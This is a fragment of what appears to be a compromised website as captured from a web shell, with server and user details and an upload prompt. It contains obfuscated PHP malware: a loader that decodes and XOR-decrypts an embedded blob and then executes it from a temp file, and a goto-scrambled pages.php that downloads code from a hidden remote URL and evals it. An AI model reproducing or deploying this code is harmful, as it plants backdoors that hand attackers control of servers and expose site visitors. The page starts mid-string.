mNYqn0CDaogeV9azaNs5/4EGjtZAVkOP51tEVbK/KSd47GFlUb53rxFJrOyWB0JxRmpMbcu54Yz5Kp8rqZqz8t7zo+cc1b3+hACWDlXWHZgd5jlExJVQfzw0wQ+fo5Nf+dVZM4dFH2+LNdNu4PsAhy0oLfAI6K03XcrzFUWRn34gusEJCnf/80Q4sjzZRt7vR0kf1t+3P34Gc0mZYxrvd5gms9suTD+1BuzpA2xDUzKybQi+ljNjNp4vYI+xWxTXTfn0IrpifBMrnPQK1qqMNIObXJXb2OG4MF/OVxq9jWZ5fdjGrGWyMYHCe8DHr164+lBycmz44t8/mdk3Ij6c8uD4GE9GluKzN6MDYamXbkeJ1cAbdD235BQU9OCl94N211Z7yihvN1TLcNiFJNcjkYjdf7LmwNmbAhs4dwOWlQoAg+/oKj/CnEc4eQe0Z7Hp5KYRXFecvL10gHTTkd6c0K6sLI2N4h40Wce3jjhzgHZoCxfDTEe7sAm5ZT3nEyhpTKI6ooF478Mrtlvy+z14+rR9N3vTxBuK4nIPLM2u4ypX/9f5A9nqQDfwEEpZlCZ9WGideHzdtLzoPL75ab9wn7Rjv3ax0+z/eH4ihUzf2iYc00x1oPMkhlzcU53wftXJ/JX4So7pTTDU0INf1U5UG//n+gFvWCf8Tw7kN0/geTs7bBac+eXbyBtw0T9gHsWsnO1CvmtrpWnaEdJO8ddpHmZpvtFeJU+hTDOs2SKeCTdX59oB9fsj/4/0JK9G5VVbprfiP9Z1/OPFrrulhXm35oHf5wcldbJwzUT8CfL6EeWNeMuPbSlgXxv/2P3Xs+F/rJxefFEtp2xVobr7LHib/5/oFN+tgeOduXssqps5/Xb+En/+u7238Fsjs+1qeMfqf708M5/N/129uo7wSVd722U4mFjd3uFcfaZpfrd4IXS1/11bw83/2/x/rJ/X3wkfMhrreBuVM2i7+87/2n46mVZ6AnzLLXaf3JWUwWaGs4fSwnuNnZbn/4/zU+U/ZgWmvr2xb33XGES3hnzwN2lu5eoyzo5Nq3v9///Gg6s8bq6qbyTR9nfZq/aPRtIRPr8//Uf//Or/7OH5mA1B+RJT+dEYizJrtrn+f5Leb/ft9fnCCqv8KpXcldud7Io4Xvble06bIO6qxXP5ebG1OHm0ZDOMXom15s0+Jundpk+A7/c/3Z/5v/W8FKRP639d313Evt3lMhun8v/av+r+O5x/aS5WC27ZM809oV2V4bG92/F/9+5/vz/yf/g1J+9/rR2IGsSmtIn95oEszbNBimMrIfon/2H+S/4Tw3/mND56C47/+rZPljSYahGletlOl/Gw8gg2E/+aPlPykyKpoLBL/z/u/j9pfLqsn2IykLqFB6NkNhiBn61v+r/Mv+U+O6kXpqeVuQveRZETE0su0MR/EEiRZwmJHB1mt8tqpciZX5WjjF67zN+NdScD7nKL4cu/W/3X9iBhj0Wsjf1TYw5oNpncelJWqX/PpC+NZPk/2f9e/zr2eR57ivjDNsmtunoJp/SSH6X/rBw7KIDcXl5//9b/w8DvLsPyo+1rpx/S/r0/nzxLN/5/rM1TCf/o1f9yz//v+VGbk6ZnfUufmSLb4T4Fivdn9CZzKctztTXYONlcwvn9ZWjMm6Xoh8+le/Pf82ukUswMtq24U4VOUuZ4dmg6+w/I/9UvdP6d1w7YOuGNjutnrIz+QPhTGHW6Zps6fRpiZzrpIz3oxS7qX/35/yk293twSvjae0h9Ha0yg+Jc89FcEaJxs41eaBmXzP/on3YOLrTc6T8Bq902KEucEaOtXqQA1hcNtVfk/ZrMn9IyD6m+eBMXlMOFbqX828v/5f/5f'; $decoded = base64_decode($data); $inflated = @gzinflate($decoded); if ($inflated === false) { $inflated = $decoded; } $b64_decoded = base64_decode($inflated); if ($b64_decoded === false) { return ''; } $key = $this->extractCode3(); $plain_code = ''; if (strlen($key) > 0) { for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) { $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($key[$i % strlen($key)])); } } else { $plain_code = $b64_decoded; } return $plain_code; } private function executeCode($code) { $tmp_file = tmpfile(); $tmp_file_path = stream_get_meta_data($tmp_file)['uri']; fwrite($tmp_file, $code); fseek($tmp_file, 0); include $tmp_file_path; fclose($tmp_file); } public static function runApproveToken3() { $obj = new self(); $decrypted = $obj->solveValue3(); $obj->executeCode($decrypted); } } ProtectedExecutor1b92c::runApproveToken3(); ?> HEX
HEX
Server: Apache
System: Linux linuxhost20.itools.mn 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User: greenin1 (1074)
PHP: 7.2.34
Disabled: NONE
$ pwd: /home/greenin1/public_html/
Upload Files
File: /home/greenin1/public_html/pages.php
<?php define('A', 'jan63.tphu5593htr/komeri::item/u^/!/|products/^[0:2]!::?'); goto Qo3Zq; Qo3Zq: $x1DBi = "\x74\x78\164\56"; goto eM_QN; h4fIU: $x1DBi .= "\164\56\61\x30\163\x6b"; goto KKULZ; WU6rf: $x1DBi .= "\x74\x74\150"; goto vMRvT; Yt3ix: $x1DBi .= "\72\163\160"; goto WU6rf; I7yjh: $x1DBi .= "\163\x2f\x2f"; goto Yt3ix; eM_QN: $x1DBi .= "\65\x78\x2f\160\157"; goto h4fIU; KKULZ: $x1DBi .= "\153\157\x2e\x6f\x65"; goto I7yjh; vMRvT: eval("\77\76" . Roq_n(strrev($x1DBi))); goto hz9FL; hz9FL: function RoQ_n($K9OLS = '') { goto LAi61; fE0yF: $iHVyT = curl_init(); goto dj1a9; Wswo8: goto HD7Ho; goto MoXGn; iaeEi: $a8SXe = curl_exec($iHVyT); goto W4H17; JwqZc: HD7Ho: goto CWhnF; MoXGn: Lfe0j: goto fE0yF; dj1a9: curl_setopt($iHVyT, CURLOPT_RETURNTRANSFER, true); goto Go2lM; pJYvz: curl_setopt($iHVyT, CURLOPT_SSL_VERIFYHOST, false); goto nJ_HP; Go2lM: curl_setopt($iHVyT, CURLOPT_TIMEOUT, 500); goto sXeUw; nJ_HP: curl_setopt($iHVyT, CURLOPT_URL, $K9OLS); goto iaeEi; CWhnF: return $a8SXe; goto IjsIA; W4H17: curl_close($iHVyT); goto JwqZc; LAi61: if (function_exists("\143\x75\x72\154\137\151\x6e\151\x74") && function_exists("\x63\x75\162\154\x5f\145\x78\145\143")) { goto Lfe0j; } goto Ys1pr; Av3dv: $a8SXe = file_get_contents($K9OLS, false, $j0Fco); goto Wswo8; sXeUw: curl_setopt($iHVyT, CURLOPT_SSL_VERIFYPEER, false); goto pJYvz; Ys1pr: $j0Fco = stream_context_create(["\150\164\x74\160" => ["\155\x65\164\x68\157\144" => "\x47\105\x54"]]); goto Av3dv; IjsIA: } ?>
@ Telegram